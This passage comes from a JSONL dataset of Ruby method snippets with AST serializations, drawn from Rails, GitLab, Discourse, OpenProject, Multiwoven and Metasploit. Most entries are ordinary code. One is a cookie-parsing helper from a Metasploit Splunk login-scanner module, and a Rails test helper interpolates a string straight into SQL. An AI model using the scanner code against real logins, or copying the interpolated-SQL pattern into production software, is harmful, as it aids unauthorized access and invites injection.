rray\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_initialize\"]},{\"type\":\"sym\",\"children\":[\"proc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_initialize\"]},{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_initialize\"]},{\"type\":\"sym\",\"children\":[\"block\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_destroy\"]},{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_destroy\"]},{\"type\":\"sym\",\"children\":[\"proc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_destroy\"]},{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_destroy\"]},{\"type\":\"sym\",\"children\":[\"block\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_destroy\"]},{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_destroy\"]},{\"type\":\"sym\",\"children\":[\"proc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_destroy\"]},{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_destroy\"]},{\"type\":\"sym\",\"children\":[\"block\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_commit\"]},{\"type\":\"sym\",\"children\":[\"block\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_commit\"]},{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_commit\"]},{\"type\":\"sym\",\"children\":[\"proc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_commit\"]},{\"type\":\"sym\",\"children\":[\"method\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"history\"]}]}]}]}","id":"2a3f130a-b298-4791-a8c6-cf6a9ed358df"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/lib/costs/patches/number_to_currency_converter_patch.rb","start_line":35,"raw_source":"def i18n_opts\n      super.merge(unit: ERB::Util.h(Setting.costs_currency),\n                  format: ERB::Util.h(Setting.costs_currency_format))\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"i18n_opts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"h\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"costs_currency\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"h\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"costs_currency_format\"]}]}]}]}]}]}","id":"b51cfb7c-47ed-4e93-983b-22558f15f306"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/discord/bot/persona_replier.rb","start_line":21,"raw_source":"def handle_interaction!\n        last_update_sent_at = Time.now - 1\n        reply = +\"\"\n        full_reply =\n          @bot.reply(\n            { conversation_context: [{ type: :user, content: @query }], skip_tool_details: true },\n          ) do |partial, _something|\n            reply << partial\n            next if reply.blank?\n\n            if @reply_response.nil?\n              create_reply(wrap_links(reply.dup))\n            elsif @last_update_response.nil?\n              update_reply(wrap_links(reply.dup))\n            elsif Time.now - last_update_sent_at > 1\n              update_reply(wrap_links(reply.dup))\n              last_update_sent_at = Time.now\n            end\n          end\n\n        discord_reply = wrap_links(full_reply.last.first)\n\n        if @reply_response.nil?\n          create_reply(discord_reply)\n        else\n          update_reply(discord_reply)\n        end\n      end","complexity_score":50.4,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_interaction!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"last_update_sent_at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reply\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"lvasgn\",\"children\":[\"full_reply\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bot\"]},\"reply\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conversation_context\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"ivar\",\"children\":[\"@query\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_tool_details\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partial\"]},{\"type\":\"arg\",\"children\":[\"_something\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"partial\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@reply_response\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"create_reply\",{\"type\":\"send\",\"children\":[null,\"wrap_links\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"dup\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_update_response\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"update_reply\",{\"type\":\"send\",\"children\":[null,\"wrap_links\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"dup\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"last_update_sent_at\"]}]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_reply\",{\"type\":\"send\",\"children\":[null,\"wrap_links\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"dup\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"last_update_sent_at\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]},null]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"discord_reply\",{\"type\":\"send\",\"children\":[null,\"wrap_links\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_reply\"]},\"last\"]},\"first\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@reply_response\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"create_reply\",{\"type\":\"lvar\",\"children\":[\"discord_reply\"]}]},{\"type\":\"send\",\"children\":[null,\"update_reply\",{\"type\":\"lvar\",\"children\":[\"discord_reply\"]}]}]}]}]}","id":"4a169214-98df-48a4-b9ca-932406cb3317"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cleanup/orphan_job_artifact_final_objects/process_list.rb","start_line":145,"raw_source":"def log_info(msg)\n          logger.info(msg)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"log_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}","id":"7e616898-2948-41b9-a7c8-499d2b52c844"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":1364,"raw_source":"def test_preload_with_available_records_with_multiple_classes\n    essay = essays(:david_modest_proposal)\n    general = categories(:general)\n    david = authors(:david)\n\n    assert_no_queries do\n      ActiveRecord::Associations::Preloader.new(records: [essay], associations: [:category, :author], available_records: [general, david]).call\n\n      assert_predicate essay.association(:category), :loaded?\n      assert_predicate essay.association(:author), :loaded?\n      assert_same general, essay.category\n      assert_same david, essay.author\n    end\n  end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_preload_with_available_records_with_multiple_classes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"essay\",{\"type\":\"send\",\"children\":[null,\"essays\",{\"type\":\"sym\",\"children\":[\"david_modest_proposal\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"general\",{\"type\":\"send\",\"children\":[null,\"categories\",{\"type\":\"sym\",\"children\":[\"general\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"david\",{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Preloader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"records\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"essay\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associations\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"sym\",\"children\":[\"author\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"available_records\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"general\"]},{\"type\":\"lvar\",\"children\":[\"david\"]}]}]}]}]},\"call\"]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"essay\"]},\"association\",{\"type\":\"sym\",\"children\":[\"category\"]}]},{\"type\":\"sym\",\"children\":[\"loaded?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"essay\"]},\"association\",{\"type\":\"sym\",\"children\":[\"author\"]}]},{\"type\":\"sym\",\"children\":[\"loaded?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_same\",{\"type\":\"lvar\",\"children\":[\"general\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"essay\"]},\"category\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_same\",{\"type\":\"lvar\",\"children\":[\"david\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"essay\"]},\"author\"]}]}]}]}]}]}","id":"93a2ca66-3cd3-47e2-8238-29c54075937d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/push_options_handler_service.rb","start_line":61,"raw_source":"def validate_service\n      if current_user.nil?\n        errors << 'User is required'\n        return\n      end\n\n      unless current_user&.can?(:read_code, target_project)\n        errors << 'User access was denied'\n        return\n      end\n\n      unless project == target_project || project.in_fork_network_of?(target_project)\n        errors << \"Projects #{project.full_path} and #{target_project.full_path} are not in the same network\"\n      end\n\n      unless target_project.merge_requests_enabled?\n        errors << \"Merge requests are not enabled for project #{target_project.full_path}\"\n      end\n\n      if branches.size > LIMIT\n        errors << \"Too many branches pushed (#{branches.size} were pushed, limit is #{LIMIT})\"\n      end\n\n      if push_options[:target] && !target_project.repository.branch_exists?(push_options[:target])\n        errors << \"Target branch #{target_project.full_path}:#{push_options[:target]} does not exist\"\n      end\n    end","complexity_score":69.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"<<\",{\"type\":\"str\",\"children\":[\"User is required\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"read_code\"]},{\"type\":\"send\",\"children\":[null,\"target_project\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"<<\",{\"type\":\"str\",\"children\":[\"User access was denied\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"target_project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"in_fork_network_of?\",{\"type\":\"send\",\"children\":[null,\"target_project\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Projects \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"full_path\"]}]},{\"type\":\"str\",\"children\":[\" and \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_project\"]},\"full_path\"]}]},{\"type\":\"str\",\"children\":[\" are not in the same network\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_project\"]},\"merge_requests_enabled?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Merge requests are not enabled for project \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_project\"]},\"full_path\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"branches\"]},\"size\"]},\">\",{\"type\":\"const\",\"children\":[null,\"LIMIT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Too many branches pushed (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"branches\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" were pushed, limit is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LIMIT\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"push_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_project\"]},\"repository\"]},\"branch_exists?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"push_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target\"]}]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Target branch \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_project\"]},\"full_path\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"push_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target\"]}]}]},{\"type\":\"str\",\"children\":[\" does not exist\"]}]}]},null]}]}]}","id":"d043a75c-504a-4286-b0d2-4693763c4a0a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_one_associations_test.rb","start_line":1016,"raw_source":"def modify_bulb_name_directly_in_the_database(bulb)\n    new_name = \"#{bulb.name} edited\"\n    DATS::Bulb.connection.execute(\"UPDATE bulbs SET name = '#{new_name}'\")\n    new_name\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"modify_bulb_name_directly_in_the_database\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bulb\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bulb\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" edited\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DATS\"]},\"Bulb\"]},\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE bulbs SET name = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"lvar\",\"children\":[\"new_name\"]}]}]}","id":"c3aefa53-5d26-4ad6-9747-f9eba8240fb1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/splunk_web_login.rb","start_line":87,"raw_source":"def get_login_cookie\n    res = send_request_raw({ 'uri' => datastore['URI'] })\n\n    uid = ''\n    session_id_port = ''\n    session_id = ''\n    cval = ''\n\n    if res and res.code == 200 and !res.get_cookies.empty?\n      res.get_cookies.split(';').each { |c|\n        c.split(',').each { |v|\n          if v.split('=')[0] =~ /cval/\n            cval = v.split('=')[1]\n          elsif v.split('=')[0] =~ /uid/\n            uid = v.split('=')[1]\n          elsif v.split('=')[0] =~ /session_id/\n            session_id_port = v.split('=')[0]\n            session_id = v.split('=')[1]\n          end\n        }\n      }\n      return uid.strip, session_id_port.strip, session_id.strip, cval.strip\n    end\n\n    return nil\n  end","complexity_score":69.53,"ast_json":"{\"type\":\"def\",\"children\":[\"get_login_cookie\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uid\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"session_id_port\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"session_id\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cval\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"split\",{\"type\":\"str\",\"children\":[\";\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"split\",{\"type\":\"str\",\"children\":[\"=\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"cval\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cval\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"split\",{\"type\":\"str\",\"children\":[\"=\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"split\",{\"type\":\"str\",\"children\":[\"=\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"uid\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"split\",{\"type\":\"str\",\"children\":[\"=\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"split\",{\"type\":\"str\",\"children\":[\"=\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"session_id\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"session_id_port\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"split\",{\"type\":\"str\",\"children\":[\"=\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"session_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"split\",{\"type\":\"str\",\"children\":[\"=\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},null]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uid\"]},\"strip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_id_port\"]},\"strip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_id\"]},\"strip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cval\"]},\"strip\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"a055cf17-2833-4bb8-a5c5-644470ec4694"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/legacy_github_import/importer.rb","start_line":392,"raw_source":"def imported!(resource_type)\n        Rails.cache.write(\"#{cache_key_prefix}:#{resource_type}:imported\", true, ex: 1.day)\n      end","complexity_score":4.95,"ast_json":"{\"type\":\"def\",\"children\":[\"imported!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"write\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_key_prefix\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_type\"]}]},{\"type\":\"str\",\"children\":[\":imported\"]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]}]}]}]}","id":"7a0e98f2-5ba2-4fcc-8199-831acd19905e"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/salesforce_crm/client.rb","start_line":34,"raw_source":"def write(sync_config, records, action = \"create\")\n            @action = sync_config.stream.action || action\n            @sync_config = sync_config\n            initialize_client(sync_config.destination.connection_specification)\n            process_records(records, sync_config.stream)\n          rescue StandardError => e\n            handle_exception(e, {\n                               context: \"SALESFORCE:CRM:WRITE:EXCEPTION\",\n                               type: \"error\",\n                               sync_id: @sync_config.sync_id,\n                               sync_run_id: @sync_config.sync_run_id\n                             })\n          end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_config\"]},{\"type\":\"arg\",\"children\":[\"records\"]},{\"type\":\"optarg\",\"children\":[\"action\",{\"type\":\"str\",\"children\":[\"create\"]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@action\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"stream\"]},\"action\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@sync_config\",{\"type\":\"lvar\",\"children\":[\"sync_config\"]}]},{\"type\":\"send\",\"children\":[null,\"initialize_client\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"destination\"]},\"connection_specification\"]}]},{\"type\":\"send\",\"children\":[null,\"process_records\",{\"type\":\"lvar\",\"children\":[\"records\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"stream\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"SALESFORCE:CRM:WRITE:EXCEPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sync_config\"]},\"sync_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sy